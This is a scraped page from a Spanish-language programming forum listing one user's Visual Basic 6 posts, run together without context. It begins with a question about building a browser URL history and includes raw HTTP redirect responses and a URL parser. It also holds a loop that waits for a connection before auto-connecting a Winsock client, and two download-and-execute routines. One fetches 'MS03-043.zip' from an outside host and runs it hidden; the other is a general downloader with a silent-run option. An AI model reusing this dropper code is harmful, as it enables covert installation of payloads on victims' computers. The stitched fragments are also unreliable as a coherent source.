Pues eso, lo que quiero es basicamente ir agregando las URLS de los navegadores a un listbox para crear algo asi como un historial de urls navegadas., alguien sabe de alguna clase o tiene algnu ejemplo? thankss
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúHTTP/1.1 302 Found
Date: Fri, 12 Oct 2007 01:09:02 GMT
Server: Apache
Vary: *
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 12 Oct 2007 01:09:02 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Location: http://www.url.com
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
301
<html><head><meta http-equiv="refresh" content="0; URL=http://www.url.com"></head><body><a href='http://www.url.com'>Please click here ... </a></body></html>
Private Function ExtractURL(strHTML As String) As String()
Dim URLs() As String
Dim search As String
Dim i, x, m As Long
Dim z As Integer
i = 1
x = 1
m = 0
Do
search = " "
z = 5
i = InStr(i, strHTML, "href=", vbTextCompare)
DoEvents
If (i) Then
If Mid$(strHTML, i + 5, 1) = Chr(34) Then
search = Chr(34)
z = 6
End If
x = InStr(i + z, strHTML, search, vbTextCompare)
If (x = 0 And search = " ") Then x = InStr(i + z, strHTML, ">", vbTextCompare)
ReDim Preserve URLs(m)
URLs(m) = URLDecode(Mid$(strHTML, i + z, x - (i + z)))
End If
i = i + 1
m = m + 1
Loop Until i = 1
ExtractURL = URLs()
End Function
'HTML = "<a href=" & Chr(34) & "http://google.com/?bef=123&test=xx" & Chr(34) & ">lol</a>"
Dim mis() As String
mis() = ExtractURL(HTML)
HTTP/1.1 302 Found
Date: Sat, 06 Oct 2007 03:09:46 GMT
Server: Apache
Vary: *
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 06 Oct 2007 03:09:46 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Location: http://wawawawawawawa.com/pagead/iclk?sa=l&ai=B4poLbfwGR4WyK5j6oQOFjYiEDsyKqx_I69zeAcCNtwHgmBcQAhgCIOaRkQYoCjgAUKb63LD-_____wFg2wagAZKTvv8DsgEPdXJ1c29mdHdhcmUuY29tyAEB2gEXaHR0cDovL3VydXNvZnR3YXJlLmNvbS-oAwHoA5EG6APSBfUDQgAAAA&num=2&adurl=http://www.cellsignal.com&client=ca-dp-sedo-11_xml
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
2cf
<html><head><meta http-equiv="refresh" content="0; URL=http://wawawawawawawa.com/pagead/iclk?sa=l&ai=B4poLbfwGR4WyK5j6oQOFjYiEDsyKqx_I69zeAcCNtwHgmBcQAhgCIOaRkQYoCjgAUKb63LD-_____wFg2wagAZKTvv8DsgEPdXJ1c29mdHdhcmUuY29tyAEB2gEXaHR0cDovL3VydXNvZnR3YXJlLmNvbS-oAwHoA5EG6APSBfUDQgAAAA&num=2&adurl=http://www.cellsignal.com&client=ca-dp-sedo-11_xml"></head><body><a href='http://wawawawawawawa/pagead/iclk?sa=l&ai=B4poLbfwGR4WyK5j6oQOFjYiEDsyKqx_I69zeAcCNtwHgmBcQAhgCIOaRkQYoCjgAUKb63LD-_____wFg2wagAZKTvv8DsgEPdXJ1c29mdHdhcmUuY29tyAEB2gEXaHR0cDovL3VydXNvZnR3YXJlLmNvbS-oAwHoA5EG6APSBfUDQgAAAA&num=2&adurl=http://www.cellsignal.com&client=ca-dp-sedo-11_xml'>Please click here ... </a></body></html>
0
Private Sub Form_Load()
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
Verifica:
Dim Flag As Long
InternetGetConnectedState Flag, 0
Dim flags As Long
Dim result As Boolean
result = InternetGetConnectedState(flags, 0)
If result Then
Timer1.Enabled = False
Conectar
Else
Timer1.Enabled = True
GoTo Verifica
End If
End Sub
Private Sub WS_Close()
Timer1.Enabled = True
End Sub
Private Sub WS_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
If WS.State <> sckConnected Then
WS.Close
End If
End Sub
[code]
[/code]
Option Explicit
Private Declare Function URLDownloadToFile Lib "urlmon.dll" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFile(url As String, LocalFileName As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, url, LocalFileName, 0, 0)
DownloadFile = (lngRetVal = 0)
End Function
Private Sub Command1_Click()
Dim url As String
Dim file As String
Dim ret As String
url = "http://www.terra.es/personal3/fistror/e/MS03-043.zip"
file = Environ("homedrive") & "\jaja.zip"
Call DownloadFile(url, file)
ret = Shell("start " & Chr(34) & file & Chr(34), vbHide)
End Sub
Function DownloadFile(ByVal url As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
On Error Resume Next
Err.Clear
Set XML = CreateObject("Microsoft.XMLHTTP")
Set ADS = CreateObject("ADODB.Stream")
XML.Open "GET", url, False
XML.send
XML.getAllResponseHeaders
FullSavePath = Environ(SavePath) & "\" & SaveName
ADS.Open
ADS.Type = 1
ADS.Write XML.responseBody
ADS.SaveToFile FullSavePath, 2
If Err Then
DownloadFile = False
Else
If RunAfterDownload = True Then
If RunHide = True Then
Shell FullSavePath, vbHide
Else
Shell FullSavePath, vbNormalFocus
End If
End If
DownloadFile = True
End If
End Function